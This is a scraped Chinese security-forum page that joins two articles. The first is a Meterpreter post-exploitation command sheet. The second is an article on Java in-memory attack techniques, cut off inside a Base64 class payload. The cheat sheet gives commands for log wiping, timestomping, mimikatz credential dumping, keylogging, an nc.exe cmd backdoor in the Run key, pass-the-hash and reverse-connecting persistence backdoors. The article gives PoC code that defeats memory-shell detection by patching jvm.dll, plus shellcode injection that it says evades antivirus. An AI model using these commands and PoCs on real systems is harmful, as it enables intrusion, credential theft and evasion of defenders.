clearav #清除windows中的应用程序日志、系统日志、安全日志
### 0x02.文件系统命令
#### 1）基本文件系统命令
getwd 或者pwd # 查看当前工作目录
ls
cd
search -f *pass* # 搜索文件 -h查看帮助
cat c:\\lltest\\lltestpasswd.txt # 查看文件内容
upload /tmp/hack.txt C:\\lltest # 上传文件到目标机上
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上
edit c:\\1.txt #编辑或创建文件 没有的话，会新建文件
rm C:\\lltest\\hack.txt
mkdir lltest2 #只能在当前目录下创建文件夹
rmdir lltest2 #只能删除当前目录下文件夹
getlwd 或者 lpwd #操作攻击者主机 查看当前目录
lcd /tmp #操作攻击者主机 切换目录
#### 2）timestomp伪造时间戳
timestomp C:// -h #查看帮助
timestomp -v C://2.txt #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
### 0x03.网络命令
#### 1）基本网络命令
ipconfig/ifconfig
netstat –ano
arp
getproxy #查看代理信息
route #查看路由
#### 2）portfwd端口转发
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口
#### 3）autoroute添加路由
run autoroute –h #查看帮助
run autoroute -s 192.168.159.0/24 #添加到目标环境网络
run autoroute –p #查看添加的路由
然后可以利用arp_scanner、portscan等进行扫描
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389
#### 4）Socks4a代理
autoroute添加完路由后，还可以利用msf自带的sock4a模块进行Socks4a代理
msf> use auxiliary/server/socks4a
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run
然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080
最后proxychains 使用Socks4a代理访问
### 0x04.信息收集
信息收集的脚本位于：
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
信息收集的脚本较多，仅列几个常用的：
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控
### 0x05.提权
#### 1)getsystem提权
getsystem
getsystem工作原理：
①getsystem创建一个新的Windows服务，设置为SYSTEM运行，当它启动时连接到一个命名管道。
②getsystem产生一个进程，它创建一个命名管道并等待来自该服务的连接。
③Windows服务已启动，导致与命名管道建立连接。
④该进程接收连接并调用ImpersonateNamedPipeClient，从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe，并且我们有一个SYSTEM特权进程。
#### 2)bypassuac
内置多个pypassuac脚本，原理有所不同，使用方法类似，运行后返回一个新的会话，需要再次执行getsystem获取系统权限，如：
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
如使用bypassuac.rb脚本：
msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run
#### 3)内核漏洞提权
可先利用enum_patches模块 收集补丁信息，然后查找可用的exploits进行提权
meterpreter > run post/windows/gather/enum_patches #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit
### 0x06.mimikatz抓取密码
load mimikatz #help mimikatz 查看帮助
wdigest #获取Wdigest密码
mimikatz_command -f samdump::hashes #执行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords
### 0x07.远程桌面&截屏
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
use espia #或者使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连接
### 0x08.开启rdp&添加用户
#### 1)getgui命令
run getgui –h #查看帮助
run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456 #添加用户
run getgui -f 6661 –e #3389端口转发到6661
getgui 系统不推荐，推荐使用run post/windows/manage/enable_rdp
getgui添加用户时，有时虽然可以成功添加用户，但是没有权限通过远程桌面登陆
#### 2)enable_rdp脚本
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知：开启rdp是通过reg修改注册表；添加用户是调用cmd.exe 通过net
user添加；端口转发是利用的portfwd命令
### 0x09.键盘记录
keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录
### 0x10.sniffer抓包
use sniffer
sniffer_interfaces #查看网卡
sniffer_start 2 #选择网卡 开始抓包
sniffer_stats 2 #查看状态
sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包
sniffer_stop 2 #停止抓包
### 0x11.注册表操作
#### 1)注册表基本命令
reg –h
-d 注册表中值的数据. -k 注册表键路径 -v 注册表键名称
enumkey 枚举可获得的键 setval 设置键值 queryval 查询键值数据
#### 2)注册表设置nc后门
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看键值
nc -v 192.168.159.144 443 #攻击者连接nc后门
### 0x12.令牌操纵
#### 1)incognito假冒令牌
use incognito #help incognito 查看帮助
list_tokens -u #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t # -t 使用假冒的token 执行
或者直接shell
rev2self #返回原始token
#### 2)steal_token窃取令牌
steal_token <pid值> #从指定进程中窃取token 先ps
drop_token #删除窃取的token
### 0x13.哈希利用
#### 1)获取哈希
run post/windows/gather/smart_hashdump #从SAM导出密码哈希
#需要SYSTEM权限
#### 2)PSExec哈希传递
通过smart_hashdump获取用户哈希后，可以利用psexec模块进行哈希传递攻击
前提条件：①开启445端口 smb服务；②开启admin$共享
msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOST 192.168.159.144
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain WORKGROUP #域用户需要设置SMBDomain
msf >exploit
### 0x14.后门植入
metasploit自带的后门有两种方式启动的，一种是通过启动项启动(persistence)，一种是通过服务启动(metsvc)，另外还可以通过persistence_exe自定义后门文件。
#### 1)persistence启动项后门
在C:\Users***\AppData\Local\Temp\目录下，上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项
run persistence –h #查看帮助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定启动的方式为开机自启动，-i反向连接的时间间隔(5s) –r 指定攻击者的ip
**连接后门**
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit
#### 2)metsvc服务后门
在C:\Users***\AppData\Local\Temp\上传了三个文件（metsrv.x86.dll、metsvc-server.exe、metsvc.exe），通过服务启动，服务名为meterpreter
run metsvc –h # 查看帮助
run metsvc –A #自动安装后门
**连接后门**
msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit
### 0x15.扫描脚本
扫描的脚本位于：
/usr/share/metasploit-framework/modules/auxiliary/scanner/
扫描的脚本较多，仅列几个代表：
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login
**参考:**
<https://null-byte.wonderhowto.com/how-to/hack-like-pro-ultimate-command-cheat-sheet-for-metasploits-meterpreter-0149146/>
<https://thehacktoday.com/metasploit-commands/>
<https://www.offensive-security.com/metasploit-unleashed/fun-incognito/>
<https://www.offensive-security.com/metasploit-unleashed/persistent-netcat-backdoor/>
<https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/>
<http://www.hackingarticles.in/7-ways-to-privilege-escalation-of-windows-7-pc-bypass-uac/>
<https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/>
<http://wooyun.jozxing.cc/static/drops/tips-2227.html> | 社区文章 |
**作者：rebeyond
原文链接：<https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw> **
## 前言
Java技术栈漏洞目前业已是web安全领域的主流战场，随着IPS、RASP等防御系统的更新迭代，Java攻防交战阵地已经从磁盘升级到了内存里面。在今年7月份上海银针安全沙龙上，我分享了《Java内存攻击技术漫谈》的议题，个人觉得PPT承载的信息比较离散，技术类的内容还是更适合用文章的形式来分享，所以一直想着抽时间写一篇和议题配套的文章，不巧赶上南京的新冠疫情，这篇文章拖了一个多月才有时间写。
## allowAttachSelf绕过
Java的instrument是Java内存攻击常用的一种机制，instrument通过attach方法提供了在JVM运行时动态查看、修改Java类的功能，比如通过instrument动态注入内存马。但是在Java9及以后的版本中，默认不允许SelfAttach：
Attach API cannot be used to attach to the current VM by default
The implementation of Attach API has changed in JDK 9 to disallow attaching to the current VM by default. This change should have no impact on tools that use the Attach API to attach to a running VM. It may impact libraries that misuse this API as a way to get at the java.lang.instrument API. The system property jdk.attach.allowAttachSelf may be set on the command line to mitigate any compatibility with this change.
也就是说，系统提供了一个jdk.attach.allowAttachSelf的VM参数，这个参数默认为false，且必须在Java启动时指定才生效。
编写一个demo尝试attach自身PID，提示Can not attach to current VM，如下：
经过分析attch API的执行流程，定位到如下代码：
由上图可见，attach的时候会创建一个HotSpotVirtualMachine的父类，这个类在初始化的时候会去获取VM的启动参数，并把这个参数保存至HotSpotVirtualMachine的ALLOW_ATTACH_SELF属性中，恰好这个属性是个静态属性，所以我们可以通过反射动态修改这个属性的值。构造如下POC：
Class cls=Class.forName("sun.tools.attach.HotSpotVirtualMachine");
Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF");
field.setAccessible(true);
Field modifiersField=Field.class.getDeclaredField("modifiers");
modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL);
field.setBoolean(null,true);
由于ALLOW_ATTACH_SELF字段有final修饰符，所以在修改ALLOW_ATTACH_SELF值的同时，也需要把它的final修饰符给去掉（修改的时候，会有告警产提示，不影响最终效果，可以忽略）。修改后，可以成功attach到自身进程，如下图：
这样，我们就成功绕过了allowAttachSelf的限制。
## 内存马防检测
随着攻防热度的升级，内存马注入现在已经发展成为一个常用的攻击技术。目前业界的内存马主要分为两大类：
•Agent型 利用instrument机制，在不增加新类和新方法的情况下，对现有类的执行逻辑进行修改。JVM层注入，通用性强。
•非Agent型 通过新增一些Java
web组件（如Servlet、Filter、Listener、Controller等）来实现拦截请求，从而注入木马代码，对目标容器环境有较强的依赖性，通用性较弱。
由于内存马技术的火热，内存马的检测也如火如荼，针对内存马的检测，目前业界主要有两种方法：
•基于反射的检测方法
该方法是一种轻量级的检测方法，不需要注入Java进程，主要用于检测非Agent型的内存马，由于非Agent型的内存马会在Java层新增多个类和对象，并且会修改一些已有的数组，因此通过反射的方法即可检测，但是这种方法无法检测Agent型内存马。
•基于instrument机制的检测方法
该方法是一种通用的重量级检测方法，需要将检测逻辑通过attach
API注入Java进程，理论上可以检测出所有类型的内存马。当然instrument不仅能用于内存马检测，java.lang.instrument是Java
1.5引入的一种可以通过修改字节码对Java程序进行监测的一种机制，这种机制广泛应用于各种Java性能检测框架、程序调试框架，如JProfiler、IntelliJ
IDE等，当然近几年比较流行的RASP也是基于此类技术。
既然通过instrument机制能检测到Agent型内存马，那我们怎么样才能避免被检测到呢？答案比较简单，也比较粗暴，那就是把instrument机制破坏掉。这也是在冰蝎3.0中内存马防检测机制的实现原理，检测软件无法attach，自然也就无法检测。
首先，我们先分析一下instrument的工作流程，如下图：
1.检测工具作为Client，根据指定的PID，向目标JVM发起attach请求；
2.JVM收到请求后，做一些校验（比如上文提到的jdk.attach.allowAttachSelf的校验），校验通过后，会打开一个IPC通道。
3.接下来Client会封装一个名为AttachOperation的C++对象，发送给Server端；
4.Server端会把Client发过来的AttachOperation对象放入一个队列；
5.Server端另外一个线程会从队列中取出AttachOperation对象并解析，然后执行对应的操作，并把执行结果通过IPC通道返回Client。
由于该套流程的具体实现在不同的操作系统平台上略有差异，因此接下来我分平台来展开。
## windows平台
通过分析定位到如下关键代码：
可以看到当var5不等于0的时候，attach会报错，而var5是从var4中读取的，var4是execute的返回值，跟入execute，如下：
可以看到，execute方法又把核心工作交给了方法enqueue，这个方法是一个native方法，如下图：
继续跟入enqueue方法：
可以看到enqueue中封装了一个DataBlock对象，里面有几个关键参数:
strcpy(data.jvmLib, "jvm");
strcpy(data.func1, "JVM_EnqueueOperation");
strcpy(data.func2, "_JVM_EnqueueOperation@20");
以上操作都发生在Client侧，接下来我们转到Server侧，定位到如下代码：
这段代码是把Client发过来的对象进行解包，然后解析里面的指令。经常写Windows
shellcode的人应该会看到两个特别熟悉的API：GetModuleHandle、GetProcAddress，这是动态定位DLL中导出函数的常用API。这里的操作就是动态从jvm.dll中动态定位名称为JVM_EnqueueOperation和
_ JVM_EnqueueOperation@20的两个导出函数，这两个函数就是上文流程图中将AttachOperation对象放入队列的执行函数。
到这里我想大家应该知道接下来该怎么做了，那就是inlineHook。我们只要把jvm.dll中的这两个导出函数给NOP掉，不就可以成功把instrument的流程给破坏掉了么？
静态分析结束了，接下来动态调试Server侧，定位到如下位置：
图中RIP所指即为JVM_EnqueueOperation函数的入口，我们只要让RIP执行到这里直接返回即可：
怎么修改呢？当然是用JNI，核心代码如下：
unsigned char buf[]="\xc2\x14\x00"; //32,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");
DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 3, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);}
/*unsigned char buf[]="\xc3"; //64,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOIDdst=GetProcAddress(hModule,"JVM_EnqueueOperation");
//printf("ConnectNamedPipe:%p",dst);DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 1, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);
}*/
注意这里要考虑32位和64位的区别，同时要注意堆栈平衡，否则可能会导致进程crash。到此，我们就实现了Windows平台上的内存马防检测（Anti-Attach）功能，我们尝试用JProfiler连接试一下，可见已经无法attach到目标进程了：
以上即是Windows平台上的内存马防检测功能原理。
## Linux平台
在Linux平台，instrument的实现略有不同，通过跟踪整个流程定位到如下代码：
可以看到，在Linux平台上，IPC通信采用的是UNIX Domain Socket，因此想破坏Linux平台下的instrument
attach流程还是比较简单的，只要把对应的UNIX Domain
Socket文件删掉就可以了。删掉后，我们尝试对目标JVM进行attach，便会提示无法attach：
到此，我们就实现了Linux平台上的内存马防检测（Anti-Attach）功能，当然其他 * nix-like的操作系统平台也同样适用于此方法。
最后说一句，内存马防检测，其实可以在上述instrument流程图中的任意一个环节进行破坏，都可以实现Anti-Attach的效果。
## Java原生远程进程注入
在Windows平台上，进程代码注入有很多种方法，最经典的方法要属CreateRemoteThread，但是这些方法大都被防护系统盯得死死的，比如我写了如下一个最简单的远程注入shellcode的demo：
往当前进程里植入一个弹计算器的shellcode，编译，运行，然后意料之中出现如下这种情况：
但是经过分析JVM的源码我发现，在Windows平台上，Java在实现instrument的时候，出现了一个比较怪异的操作。
在Linux平台，客户端首先是先和服务端协商一个IPC通道，然后后续的操作都是通过这个通道传递AttachOperation对象来实现，换句话说，这中间传递的都是数据，没有代码。
但是在Windows平台，客户端也是首先和服务端协商了一个IPC通道（用的是命名管道），但是在Java层的enqueue函数中，同时还使用了CreateRemoteThread在服务端启动了一个stub线程，让这个线程去在服务端进程空间里执行enqueue操作：
这个stub执行体pCode是在客户端的native层生成的，生成之后作为thread_func传给服务端。但是，虽然stub是在native生成的，这个stub却又在Java层周转了一圈，最终在Java层以字节数组的方式作为Java层enqueue函数的一个参数传进Native。
这样就形成了一个完美的原生远程进程注入，构造如下POC：
import java.lang.reflect.Method;
public class ThreadMain { public static void main(String[] args) throws Exception { System.loadLibrary("attach");
Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
for (Method m:cls.getDeclaredMethods())
{
if (m.getName().equals("enqueue"))
{
long hProcess=-1;
//hProcess=getHandleByPid(30244);
byte buf[] = new byte[] //pop calc.exe
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00 };
String cmd="load";String pipeName="test";
m.setAccessible(true);
Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}});
System.out.println("result:"+result); }
}
Thread.sleep(4000);
}
public static long getHandleByPid(int pid)
{
Class cls= null;
long hProcess=-1;
try {
cls = Class.forName("sun.tools.attach.WindowsVirtualMachine");
for (Method m:cls.getDeclaredMethods()) {
if (m.getName().equals("openProcess"))
{
m.setAccessible(true);
Object result=m.invoke(cls,pid);
System.out.println("pid :"+result); hProcess=Long.parseLong(result.toString());
}
}
} catch (Exception e) {
e.printStackTrace();
}
return hProcess; }}
编译，执行：
成功执行shellcode，而且Windows Defender没有告警，天然免杀。毕竟，谁能想到有着合法签名安全可靠的Java.exe会作恶呢：）
至此，我们实现了Windows平台上的Java远程进程注入。另外，这个技术还有个额外效果，那就是当注入进程的PID设置为-1的时候，可以往当前Java进程注入任意Native代码，以实现不用JNI执行任意Native代码的效果。这样就不需要再单独编写JNI库来执行Native代码了，也就是说，上文提到的内存马防检测机制，不需要依赖JNI，只要纯Java代码也可以实现。
冰蝎3.0中提供了一键cs上线功能，采用的是JNI机制，中间需要上传一个临时库文件才能实现上线。现在利用这个技术，可以实现一个JSP文件或者一个反序列化Payload即可上线CS：
## 自定义类调用系统Native库函数
在上一小节Java原生远程进程注入中，我的POC里是通过反射创建了一个sun.tools.attach.VirtualMachineImpl类，然后再去调用类里面的enqueue这个Native方法。这时可能会有同学有疑惑，这个Native方法位于attach.dll，这个dll是JDK和Server-JRE默认自带的，但是这个sun.tools.attach.VirtualMachineImpl类所在的tools.jar包并不是每个JDK环境都有的。这个技术岂不是要依赖tools.jar？因为有些JDK环境是没有tools.jar的。当然，这个担心是没必要的。
我们只要自己写一个类，类的限定名为sun.tools.attach.VirtualMachineImpl即可。不过可能还会有疑问，我们自己写一个sun.tools.attach.VirtualMachineImpl类，但是如果某个目标里确实有tools.jar，那我们自己写的类在加载的时候就会报错，有没有一个更通用的方法呢？当然还是有的。
其实这个方法在冰蝎1.0版本的时候就已经解决了，那就是用一个自定义的classLoader。但是我们都知道classLoader在loadClass的时候采用双亲委托机制，也就是如果系统中已经存在一个类，即使我们用自定义的classLoader去loadClass，也会返回系统内置的那个类。但是如果我们绕过loadClass，直接去defineClass即可从我们指定的字节码数组里创建类，而且类名我们可以任意自定义，重写java.lang.String都没问题:)
然后再用defineClass返回的Class去实例化，然后再调用我们想调用的Native函数即可。因为Native函数在调用的时候只检测发起调用的类限定名，并不检测发起调用类的ClassLoader，这是我们这个方法能成功的原因。
比如我们自定义如下这个类：
package sun.tools.attach;
import java.io.IOException;
import java.util.Scanner;
public class WindowsVirtualMachine {
static native void enqueue(long hProcess, byte[] stub,
String cmd, String pipename, Object... args) throws IOException;
static native long openProcess(int pid) throws IOException;
public static void run(byte[] buf) { System.loadLibrary("attach");
try {
enqueue(-1, buf, "test", "test", new Object[]{});
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后把这个类编译成class文件，把这个文件用Base64编码，然后写到如下POC里：
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.Permission;
import java.util.Arrays;import java.util.Base64;
public class Poc {
public static class Myloader extends ClassLoader //继承ClassLoader
{
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public static void main(String[] args)
{
try {
StringclassStr="yv66vgAAADQAMgoABwAjCAAkCgAlACYF//////////8IACcHACgKAAsAKQcAKgoACQArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAChMc3VuL3Rvb2xzL2F0dGFjaC9XaW5kb3dzVmlydHVhbE1hY2hpbmU7AQAHZW5xdWV1ZQEAPShKW0JMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KVYBAApFeGNlcHRpb25zBwAtAQALb3BlblByb2Nlc3MBAAQoSSlKAQADcnVuAQAFKFtCKVYBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADYnVmAQACW0IBAA1TdGFja01hcFRhYmxlBwAqAQAKU291cmNlRmlsZQEAGldpbmRvd3NWaXJ0dWFsTWFjaGluZS5qYXZhDAAMAA0BAAZhdHRhY2gHAC4MAC8AMAEABHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0DAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAxAA0BACZzdW4vdG9vbHMvYXR0YWNoL1dpbmRvd3NWaXJ0dWFsTWFjaGluZQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQALbG9hZExpYnJhcnkBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UAIQALAAcAAAAAAAQAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAAbEAAAACAA8AAAAGAAEAAAAGABAAAAAMAAEAAAAFABEAEgAAAYgAEwAUAAEAFQAAAAQAAQAWAQgAFwAYAAEAFQAAAAQAAQAWAAkAGQAaAAEADgAAB2MABgACAAAHABICuAADEQEUvAhZAxD8VFkEEEhUWQUQg1RZBhDkVFkHEPBUWQgQ6FRZEAYQwFRZEAcDVFkQCANUWRAJA1RZEAoQQVRZEAsQUVRZEAwQQVRZEA0QUFRZEA4QUlRZEA8QUVRZEBAQVlRZEBEQSFRZEBIQMVRZEBMQ0lRZEBQQZVRZEBUQSFRZEBYQi1RZEBcQUlRZEBgQYFRZEBkQSFRZEBoQi1RZEBsQUlRZEBwQGFRZEB0QSFRZEB4Qi1RZEB8QUlRZECAQIFRZECEQSFRZECIQi1RZECMQclRZECQQUFRZECUQSFRZECYQD1RZECcQt1RZECgQSlRZECkQSlRZECoQTVRZECsQMVRZECwQyVRZEC0QSFRZEC4QMVRZEC8QwFRZEDAQrFRZEDEQPFRZEDIQYVRZEDMQfFRZEDQFVFkQNRAsVFkQNhAgVFkQNxBBVFkQOBDBVFkQORDJVFkQOhANVFkQOxBBVFkQPARUWRA9EMFUWRA+EOJUWRA/EO1UWRBAEFJUWRBBEEFUWRBCEFFUWRBDEEhUWRBEEItUWRBFEFJUWRBGECBUWRBHEItUWRBIEEJUWRBJEDxUWRBKEEhUWRBLBFRZEEwQ0FRZEE0Qi1RZEE4QgFRZEE8QiFRZEFADVFkQUQNUWRBSA1RZEFMQSFRZEFQQhVRZEFUQwFRZEFYQdFRZEFcQZ1RZEFgQSFRZEFkEVFkQWhDQVFkQWxBQVFkQXBCLVFkQXRBIVFkQXhAYVFkQXxBEVFkQYBCLVFkQYRBAVFkQYhAgVFkQYxBJVFkQZARUWRBlENBUWRBmEONUWRBnEFZUWRBoEEhUWRBpAlRZEGoQyVRZEGsQQVRZEGwQi1RZEG0QNFRZEG4QiFRZEG8QSFRZEHAEVFkQcRDWVFkQchBNVFkQcxAxVFkQdBDJVFkQdRBIVFkQdhAxVFkQdxDAVFkQeBCsVFkQeRBBVFkQehDBVFkQexDJVFkQfBANVFkQfRBBVFkQfgRUWRB